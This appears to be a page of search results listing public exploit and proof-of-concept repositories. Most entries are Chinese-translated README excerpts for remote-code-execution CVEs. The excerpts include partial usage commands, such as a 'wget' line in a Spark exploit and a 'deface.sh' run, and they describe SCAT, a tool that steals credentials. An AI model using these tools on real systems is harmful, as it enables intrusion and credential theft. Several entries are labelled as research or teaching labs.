319786 matches found
MS_T120
MST120 CVE-2019-0708 逐步制作POC，日复一日 https://docs.microsoft.com/en-us/openspecs/windowsprotocols/ms-rdpbcgr/5073f4ed-1e93-45e1-b039-6e30c385867c...
CVE-2024-38063-poc
Real POC 已发布 https://github.com/ynwarcs/CVE-2024-38063，我也已在代码中更新。这可能导致系统崩溃，请使用虚拟机或仅用于学习，你也可以通过修改代码实现 RCE。 使用说明 iface 很可能默认已启用。 查看 CVE-2024-38063-poc.py 获取更多信息。 发现者 https://x.com/XiaoWei 代码/POC 功劳 = @ynwarcs 谢谢！ Chirag Artani...
Dolibarr-17.0.0-Exploit-CVE-2023-30253
Readme.md CVE-2023-30253 CVE-2023-30253 是 Dolibarr 软件中的一个安全漏洞，它允许经过身份验证的用户通过在被注入的数据中使用大写字母操作技巧来执行远程代码。 影响 此漏洞可导致恶意行为者未经授权执行远程代码，对受影响系统的安全性和完整性构成严重威胁。 该漏洞已在 Dolibarr 17.0.1 版本中修复。 参考 https://www.swascan.com/security-advisory-dolibarr-17-0-0/ https://github.com/Dolibarr/dolibarr 概念验证 以下 POC...
spark-exploit
未受保护的 Apache Spark 集群中的任意代码执行 如何利用 按照以下步骤操作： $ git clone https://github.com/akhld/spark-exploit.git $ cd spark-exploit 远程代码执行 打开 exploit.scala，将以下代码替换为你想要执行的任意内容！ val exploit = sc.parallelize1 to 1.mapx= //Replace these with whatever you want to get executed val x = "wget...
day06-foxcms-rce
Day06 — FoxCMS风格的RCE CVE-2025-29306 — 教学实验室 这个小实验室模拟了 CVE-2025-29306 的核心思想：在攻击者控制的输入上不安全地使用 unserialize 导致远程代码执行。这是一个最小化、故意存在漏洞的教学复现版本 — 不是 FoxCMS 本身。 快速开始 chmod +x entrypoint.sh docker build -t day6-foxcms . docker run --rm -d -p 8080:80 --name day6 day6-foxcms Visit...
CVE-2019-19781
CVE-2019-19781 Citrix Netscaler RCE...
exploit-CVE-2016-10034
PHPMailer 就是这样，你拥有了一个 shell。还有另一个利用程序，演示了另一种用例。 ./deface.sh localhost:8080 + CVE-2016-10033 exploit by opsxcq + Exploiting localhost:8080 +...
CVE-2022-40471
CVE-2022-40471 通过无限制文件上传漏洞在Clinic's Patient Management System v 1.0中实现远程代码执行 技术描述: Clinic's Patient Management System v 1.0 中的远程代码执行漏洞允许攻击者通过 users.php 中的个人资料图片上传功能上传任意 php 网页后门webshell 受影响组件 - 源代码...
SirepRAT
SirepRAT - 在Windows IoT Core上以SYSTEM权限执行远程命令 SirepRAT 无需在目标上编写真正的RAT恶意软件即可实现完整的RAT功能。 背景 该方法利用了微软官方镜像中内置并运行的Sirep测试服务。该服务是HLK设置中的客户端部分，用于对IoT设备进行驱动程序/硬件测试。它实现了Sirep/WPCon/TShell协议。 我们分析了Sirep/WPCon协议，并展示了该协议如何为攻击者暴露一个远程命令接口，包括RAT能力，如从任意位置获取/放置任意文件以及获取系统信息。...
how-to-check-patch-secure-log4j-CVE-2021-44228
如何检查 log4j CVE-2021-44228 什么是 log4j？ LOG4J 是一个基于 Java 的开源 Apache 软件，用于日志记录服务。 什么是 log4j 漏洞 CVE-2021-44228？ Log4j 漏洞允许通过在文本框中输入特定字符串来实现远程代码执行，影响所有使用 Log4j 库的程序。 攻击面 / 相关软件 受影响列表| 相关链接 ---|--- 品牌| YfryTchsGD 的 GitHub 链接列出了受影响的服务、组件或制造商（Apple、Tencent、Twitter、Cloudflare、Amazon、Tesla 等） 软件|...
CVE-2024-24401
漏洞报告 CVE 发现者：Jarod Jaslow MAWK （设计用于在 KALI LINUX 上运行） 备注 Nagios 已在所有最近的下载中修补了 2024R1.0.1 版本。要判断目标是否存在漏洞，请确保他们使用的是 2024R1.0.1 的旧版下载。 更新后的脚本会检查目标系统是否存在漏洞 OVA NAGIOS 用户凭据：mawk:mawk 下载：https://1drv.ms/u/s!Aj-SNbxrSxWZh51fp476lHxNHGd6jA?e=AX3mJU 漏洞详情： 端点： /nagiosxi//config/monitoringwizard.php Nagios ...
exploit-CVE-2016-10033
PHPMailer 就这样，你就拥有了一个 shell。这里还有另一个利用脚本，它展示了另一种使用场景。 ./deface.sh localhost:8080 + CVE-2016-10033 exploit by opsxcq + Exploiti...
CVE-2020-10238
由 HK 制作 CVE-2020-10238：comtemplates 中的访问控制不当 - RCE CVE-2020-10239：comfields SQL 字段中的访问控制不当 - RCE 链接 https://developer.joomla.org/security-centre/804-20200303-core-incorrect-access-control-in-com-templates.html...
SCAT
SCAT HP SiteScope 凭据获取工具 这是什么？ 一个利用默认 HP SiteScope（v11.32 等）安装中的远程代码执行漏洞，窃取 SiteScope 中存储的凭据的工具。 什么远程代码执行漏洞？ HP SiteScope 默认启用 Java 管理扩展（JMX），并在端口 28006 上禁用认证。 这个漏洞是否已知？ 是也不是。SiteScope 的帮助页面讨论了在安装过程中将 JMX 认证启用作为一个可选步骤，并给出了一个模糊的警告，称管理员可能需要防止未授权访问，但其后果可能并不立即明确。 我如何使用这个工具？ java -jar SCAT.jar...
CVE-2019-11043
Ladon POC Moudle CVE-2019-11043 PHP-FPM + Ngnix 漏洞简介 PHP-FPM 远程代码执行漏洞CVE-2019-11043 在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。 在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。 Example 和Ladon.exe放在同一目录,即可对C段或url.txt进行批量检测 Ladon...
Drupal-SA-CORE-2019-003
Drupal-SA-CORE-2019-003 CVE-2019-6340 Drupal SA-CORE-2019-003 CVE-2019-6340 CVE-2019-6340.md https://mp.weixin.qq.com/s/EQD4-K6HgBY9wdzeXeyzkg https://paper.seebug.org/821/ https://www.youtube.com/watch?v=QtLDDN0Duko 链接名称 https://pbs.twimg.com/media/D0C-KiXX4AM2vR3.jpg:large CVE-2019-6340...
F5-BIG-IP-POC
F5-BIG-IP POC go语言编写CVE-2020-5902 CVE-2021-22986 CVE-2022-1388 POC集合 后续会增加F5其他POC author:160team.west9B 仅限用于安全研究人员在授权的情况下使用，遵守网络安全法，产生任何问题，后果自负，与作者无关。 01-基本介绍 F5 POC合集： CVE-2020-5902：F5 BIG-IP远程代码执行漏洞 CVE-2021-22986：F5 BIG-IP iControl REST未授权远程命令执行漏洞 CVE-2022-1388：身份验证绕过远程命令执行 02-使用说明 usage:...
CVE-2020-10199-Nexus-3.21.01
CVE-2020-10199-Nexus-3.21.01 Sonatype Nexus 3.21.01 - 远程代码执行（已认证 - 更新版） 本版本基于 Alvaro Muñoz 的 49385 和 metasploit nexus 漏洞利用 https://www.exploit-db.com/exploits/49385 更改 user,password,URL 和 CMD...
CVE-2020-6418
CVE-2020-6418 CVE-2020-6418 涉及 Google Chrome 中 V8 引擎的类型混淆漏洞。受影响的版本早于 80.0.3987.122。远程攻击者可通过特制的 HTML 页面获取目标设备的 shell。 环境要求 1. 版本早于 80.0.3987.122 的 Google Chrome。 Note : The Google chrome browser should run with no sandbox for the exploit to be succesfull. 2. Metasploit Framework 3. 操作系统：任意 漏洞利用设置 ...